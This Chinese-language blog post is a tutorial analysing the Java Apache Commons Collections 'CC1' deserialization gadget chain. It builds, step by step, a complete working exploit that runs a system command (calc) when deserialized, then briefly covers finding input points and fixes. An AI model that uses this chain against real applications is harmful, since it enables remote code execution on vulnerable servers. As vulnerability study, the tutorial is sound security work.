本文最后更新于:2024年10月14日 下午
Java安全的重要拼图
前置知识 Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,⽽正是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。
commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链,前置知识是java安全基础中的反射。
Java机制:反射 参考文章
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
在Java中,Class类与java.lang.reflect类库一起对反射技术进行了全力的支持。在反射包中,我们常用的类主要有Constructor类表示的是Class 对象所表示的类的构造方法,利用它可以在运行时动态创建对象、Field表示Class对象所表示的类的成员变量,通过它可以在运行时动态修改成员变量的属性值(包含private)、Method表示Class对象所表示的类的成员方法,通过它可以动态调用对象的方法(包含private)。
总之简单来说,就是我们可以在Java程序运行时去操作类。调度反射方法,最终是由jvm执行invoke()执行。
参考文章
分析准备 环境配置:
CommonsCollections <= 3.2.1
java < 8u71
Maven依赖:
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency >
利用链:
1 2 3 4 5 AnnotationInvocationHandler.readObject()--> AbstractInputCheckedMapDecorator.MapEntry.setValue()--> TransformedMap.checkSetValue()--> ChainedTransformer.transform()--> InvokerTransformer.transform()
分析 分析应当是自底向上的,从脆弱点开始,经过一步一步封装成为一条完整的利用链。
分析的时候建议在Maven中把依赖的源码下载下来。
脆弱点分析 脆弱点:org.apache.commons.collections.Transformer
,transform方法有21种实现
1 2 3 4 5 package org.apache.commons.collections;public interface Transformer { Object transform (Object var1) ; }
脆弱类:InvokerTransformer,我们重点看它的transform方法,发现可以执行传入的对象中的方法,显然这里可以执行任意代码。
下面是InvokerTransformer的一个构造函数:
1 2 3 4 5 6 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
首先先尝试直接利用InvokerTransformer来执行命令,我们只需要按照上面的构造函数去生成一个对象,然后调用它的transform方法。要执行系统命令,methodName为exec
,参数类型为String,参数为calc
。在transform中我们只需要传入Runtime类的实例,使用Runtime.getRuntime()
1 2 3 4 5 6 7 8 9 10 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;public class CC1 { public static void main (String[] args) { new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(Runtime.getRuntime()); } }
直接运行,执行弹出计算器命令:
构造序列化链 当然在实际的漏洞中,不可能直接就这么触发,一定是经过了多层调用,当恶意payload执行到这里才会造成RCE。我们就这么盲目地去找吗,当然不是,我们这里是反序列化漏洞,所以最顶层的调用一定是某个readObject()方法。
特地提到这个方法是因为在反序列化漏洞中它起到了关键作用,readObject()方法被重写的的话,反序列化该类时调用便是重写后的readObject()方法,如果该方法书写不当的话就有可能引发恶意代码的执行。
那么接下来我们继续分析,按住ctrl单击transform函数查看调用它的函数,我们跳转到TransformedMap
类的transform
函数中
可以发现是一个叫**checkSetValue
**的函数,就一行很简单直接调用了transform,我们接着查看对它的调用
1 2 3 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
发现对它的调用只有一处,直接跳转了,在**AbstractInputCheckedMapDecorator
**中的setValue函数
1 2 3 4 public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
通过上面的分析,我们可以进一步的构造我们的代码:
要调用setValue这个函数很简单,因为它是一个共有函数,那么下一步是解决如何构造**TransformedMap
**的一个实例,然后去作为setValue函数的参数,发现它的构造函数是一个受保护的,所以去找哪里可以调用函数构造它。
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
查看对构造函数的调用,发现它有一个叫decorate的函数可以构造:
1 2 3 4 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
那么到这里我们就可以写出当前的利用链了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static void main (String[] args) { Runtime shell = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); Map<Object,Object> map=new HashMap <>(); map.put("Hacking" ,"3xsh0re" ); Map<Object,Object> transformedMap = TransformedMap. decorate(map, null , invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(shell); } }
可以成功弹出计算器:
此时我们右键setValue函数查看调用,发现在AnnotationInvocationHandler类中一处readObject函数对它进行了调用。
注意:如果你的调用中没有出现这个类,你应当下载源码,jdk下载网页 ,下载后解压其中/src/share/classes/sun到自己jdk的src文件夹中
找到自己的文件夹,解压进去,
然后在IDEA中项目属性里添加源码路径,CTRL+shift+alt+s打开
ok,现在你已经可以找到我们的最后的入口函数了,可以发现readObject正好符合我们的调用方式,用构造的恶意序列化流进入这处readObject就可以完成CC1链了,但是有一个问题,AnnotationInvocationHandler类不是公开的,仅可在同一个包下可访问也就是在外面无法通过名字来调用,因此只可以用反射获取这个类 。
这个类的构造方法为,也就是说需要一个注解类和一个Map类,这个注解类的选取是有讲究的,后面再探,先设置为Override注解
1 2 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues)
然后我们通过反射调用readObject方法,
1 2 3 4 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true );Object obj = annotationConstructor.newInstance(Override.class, transformedMap);
于是乎,我们现在的代码应该写成下面这样:记得抛出异常和写好序列化和反序列化函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public static void main (String[] args) throws Exception{ Runtime shell = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); Map map=new HashMap (); map.put("Hacking" ,"3xsh0re" ); Map transformedMap = TransformedMap.decorate(map, null , invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true ); Object obj = annotationConstructor.newInstance(Override.class, transformedMap); serialize(obj); unserialize("./exec.bin" ); }public static void serialize (Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("./exec.bin" )); oos.writeObject(object); }public static void unserialize (String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream ( new FileInputStream (filename)); objectInputStream.readObject(); }
链子中的小巧思 可以发现写完这段运行之后并没有弹出计算器,其实一条可用的序列化链的构造是非常精心的,里面有许多弯弯绕绕,并不是应该这么写所以就这么写,每一个环节都有其出现的必要性。这里我们正向调试一番,看看问题到底出现在哪里:
首先在序列化函数中的readObject方法处打上断点,
你可以选择一步一步调试去分析整个反序列化的过程,这里我就不单步调试了,我们直到obj的最后一层是一个AnnotationInvocationHandler的实例,那么我们就直接在它的readObject函数打上断点,直接恢复项目运行,可以发现到了我们的断点处,然后可以单步调试了
发现在下面判断memberType时,memberType==null
,直接就跳转到了函数末尾,所以根本就没有执行之后的序列化过程。
ok,这里出问题,那么怎么解决呢,找到memberTypes从哪里来的,在上面几行代码中,
1 2 annotationType = AnnotationType.getInstance(type); Map<String, Class<?>> memberTypes = annotationType.memberTypes();
这里就和我说的在构造该对象时,注解类的问题了,Override根本就没有成员,所以为null,所以构造的时候注解的选取不是随意的 。
1 2 3 4 @Target(ElementType.METHOD) @Retention(RetentionPolicy.SOURCE) public @interface Override { }
所以我们将源代码的map的key改为Target注解中的成员变量value,构造时传入Target类
1 2 3 4 5 Map map=new HashMap (); map.put("value" ,"3xsh0re" );Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
重新调试到此处,发现已经成功绕过第一层if了
此时我们运行整个代码发现报错了,这是为什么呢,其实是因为Runtime类没有继承serialize接口,所以runtime对象不能被序列化,自然也不能被反序列化。这里解决方法,非常巧妙,虽然Runtime对象不可以被序列化,但是Class对象可以被序列化。 那么结合InvokerTransformer和反射可以写出下面的代码:
其实非常好理解,比如第一个,就是执行getDeclaredMethod
找到getRuntime
函数。
实现逻辑,构造对象的参数是getDeclaredMethod
和getRuntime
的对象,执行它的transform
方法,在这个方法中,Runtime.class
的作用是通过getMethod
找到它的getDeclaredMethod
函数,然后将getRuntime
作为参数。
这整个语句的返回值就是getRuntime
函数,即getDeclaredMethod
的返回值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Method getRunmethod = (Method) new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }) .transform(Runtime.class);Runtime cmd = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }) .transform(getRunmethod);new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(cmd);
好了,解决了不能反序列化的问题,但是这样构造破坏了我们的序列化链,之前只有一个InvokerTransformer
对象,现在变成了3个,那么如何解决这个问题?
这时需要一个新的函数,聚焦到org.apache.commons.collections.functors
包下面的ChainedTransformer
类。
这个类存在transform方法可以帮我们遍历InvokerTransformer,并且循环调用遍历的InvokerTransformer的transform方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; }public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
所以只需要把上面的代码构造成一个Transformer数组即可,
1 2 3 4 5 6 7 8 9 10 11 12 13 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null ), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null ), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) };Transformer transformerChain = new ChainedTransformer (transformers);
到这里,Runtime类不能反序列化的问题就解决了。
但是,有一个致命问题,在这样使用ChainTransformer时,我们的Runtime.class也就是参数该如何传入?
会不会有一个Transformer的transform函数就是返回参数本身呢,答案是有的😋
刚刚好到org.apache.commons.collections.functors
包下的ConstantTransformer
类。它里面的transform就是返回我们传入的对象,如果我们传入Runtime.class,那返回的也即是Runtime.class。我们可以利用ConstantTransformer
类解决问题了。 ok,到此为止,我们可以编写完整的payload了。
完整Exp 完整项目可以直接从我的测试代码仓库 拉取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer transformerChain = new ChainedTransformer (transformers); Map<Object, Object> map = new HashMap <>(); map.put("value" , "3xsh0re" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , transformerChain); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true ); Object obj = annotationConstructor.newInstance(Target.class, transformedMap); serialize(obj); unserialize("./exec.bin" ); }
漏洞触发场景
在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:
漏洞挖掘
确定反序列化输入点
首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:
源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。
对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等
注: java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。
再考察应用的Class Path中是否包含Apache Commons Collections库
生成反序列化的payload
提交我们的payload数据
修复
禁止JVM执行外部命令
TransformedMap 类去掉了 Map.Entry 的 setValue 方法
CC链分析完整测试代码,可直接拉取